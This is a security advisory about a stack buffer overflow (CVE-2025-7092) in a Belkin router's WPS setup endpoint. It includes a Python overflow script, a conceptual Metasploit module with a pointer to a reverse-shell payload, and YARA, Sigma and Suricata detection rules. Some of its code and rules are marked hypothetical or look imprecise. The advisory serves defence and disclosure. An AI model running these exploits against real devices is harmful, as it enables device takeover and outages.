CVE-2025-7092

Executive Summary

CVE-2025-7092 is a critical stack-based buffer overflow vulnerability discovered in the Belkin F9K1122 router (firmware version 1.00.33). The flaw resides in the formWlanSetupWPS function within the /goform/formWlanSetupWPS endpoint of the web server component. By manipulating the wps_enrolee_pin or webpage argument, an unauthenticated remote attacker can trigger a stack-based buffer overflow, leading to arbitrary code execution or denial of service. The vendor (Belkin) was contacted but did not respond, leaving the device unpatched. Public exploit code has been disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device (Belkin router). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality, Integrity, Availability: High (C:H/I:H/A:H) – full compromise possible.

Threat Level: Critical. Public exploit availability and lack of vendor patch make this a high-priority target for attackers.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the Belkin F9K1122 router's web server. The /goform/formWlanSetupWPS endpoint processes the wps_enrolee_pin and webpage parameters without proper bounds checking. When an attacker sends a crafted HTTP POST request with an overly long value for either parameter, the data overflows the stack buffer, overwriting adjacent memory regions (e.g., return addresses, function pointers). This allows the attacker to hijack execution flow and execute arbitrary code with the privileges of the web server (typically root on embedded devices).

Root Cause: Lack of input validation and unsafe use of functions like sprintf() or strcpy() in the formWlanSetupWPS handler.

Attack Vector: Remote, unauthenticated HTTP POST request to /goform/formWlanSetupWPS.

Impact: Full device compromise, including:

• Remote code execution (RCE) as root.
• Denial of service (DoS) via crash.
• Potential for lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (Belkin F9K1122 v1.00.33):

void formWlanSetupWPS(struct http_request *req) {
    char buffer[256];
    char *wps_pin = req->get_param("wps_enrolee_pin");
    // Unsafe: no bounds check
    sprintf(buffer, "WPS PIN: %s", wps_pin);
    // ... further processing
}

Patched Code (Hypothetical):

void formWlanSetupWPS(struct http_request *req) {
    char buffer[256];
    char *wps_pin = req->get_param("wps_enrolee_pin");
    // Safe: truncate input
    snprintf(buffer, sizeof(buffer), "WPS PIN: %s", wps_pin ? wps_pin : "");
    // ... further processing
}

Key Difference: The patched version uses snprintf() with a size limit, preventing buffer overflow. The vulnerable version uses sprintf() without bounds checking.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Belkin F9K1122 router with firmware v1.00.33.
• Network access to the router's web interface (typically port 80 or 443).
• Python 3 with requests library.

Exploit Script (Python):

import requests

target = "http://192.168.1.1"
payload = "A" * 500  # Overflow buffer

data = {
    "wps_enrolee_pin": payload,
    "webpage": payload
}

try:
    r = requests.post(f"{target}/goform/formWlanSetupWPS", data=data, timeout=5)
    print(f"Exploit sent. Status: {r.status_code}")
except Exception as e:
    print(f"Error: {e}")

Usage:

1. Replace target with the router's IP.
2. Run the script. The router may crash or become unresponsive (DoS). For RCE, replace the payload with shellcode (e.g., Metasploit linux/mipsbe/shell_reverse_tcp).

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Belkin F9K1122 formWlanSetupWPS Stack Buffer Overflow',
      'Description' => 'Exploits a stack buffer overflow in the WPS setup endpoint.',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-7092']],
      'DisclosureDate' => '2025-03-01',
      'Payload' => {'Space' => 500, 'BadChars' => "\x00"},
      'Targets' => [['Belkin F9K1122 v1.00.33', {}]],
      'DefaultTarget' => 0))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/goform/formWlanSetupWPS',
      'vars_post' => {
        'wps_enrolee_pin' => payload.encoded,
        'webpage' => 'A' * 100
      }
    })
  end
end

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for HTTP POST requests to /goform/formWlanSetupWPS with abnormally long parameter values.
• Deploy network intrusion detection (NIDS) rules (see Suricata below).
• Enable logging on the router (if possible) and monitor for crashes or unexpected reboots.

Honeypot Setup:

• Use a low-interaction honeypot (e.g., Cowrie) to simulate the vulnerable endpoint and capture exploit attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/formWlanSetupWPS with wps_enrolee_pin or webpage parameters exceeding 256 bytes.
• Unusual outbound connections from the router (e.g., to unknown IPs on high ports).
• Repeated router crashes or reboots.

File IOCs:

• Modified firmware files (e.g., /bin/webs).
• Presence of shell scripts or binaries in /tmp/ or /var/ (post-exploitation).

Log IOCs:

• Router logs showing segmentation faults or buffer overflow errors.
• Web server logs with long request URIs.

Detection Engineering

YARA Rule

rule CVE_2025_7092_Belkin_BOF {
    meta:
        description = "Detects exploit attempts for CVE-2025-7092 in HTTP traffic"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-7092"
    strings:
        $s1 = "/goform/formWlanSetupWPS" ascii wide nocase
        $s2 = "wps_enrolee_pin" ascii wide nocase
        $s3 = "webpage" ascii wide nocase
        $overflow = {41 41 41 41 41 41 41 41} // 8 consecutive 'A's
    condition:
        $s1 and ($s2 or $s3) and #overflow > 10
}

Sigma Rule

title: Belkin F9K1122 WPS Buffer Overflow Attempt
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable WPS endpoint with long parameters.
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formWlanSetupWPS'
        cs-uri-query|contains: 
            - 'wps_enrolee_pin'
            - 'webpage'
    condition: selection and (len(cs-uri-query) > 300)
falsepositives:
    - Legitimate long WPS PINs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7092 Belkin F9K1122 WPS Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formWlanSetupWPS"; http_uri; content:"wps_enrolee_pin"; http_client_body; pcre:"/wps_enrolee_pin=[A-Za-z0-9%]{300,}/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Belkin router behind a firewall or VLAN with restricted internet access.
2. Disable WPS: If possible, disable WPS functionality via the router's web interface.
3. Monitor traffic: Use the provided detection rules to identify exploit attempts.

Long-term Solutions:

• Firmware update: Check Belkin's website for a patched firmware version. If unavailable, consider replacing the device.
• Network segmentation: Place IoT devices on a separate network segment to limit blast radius.
• Vendor escalation: Report the vulnerability to Belkin again via their security contact (if available).

Workarounds:

• Block HTTP POST requests to /goform/formWlanSetupWPS at the network perimeter (e.g., using a WAF or firewall rule).
• Use a third-party router firmware (e.g., OpenWrt) if supported, though this may void warranty.

Valters IT
Securing Digital Frontiers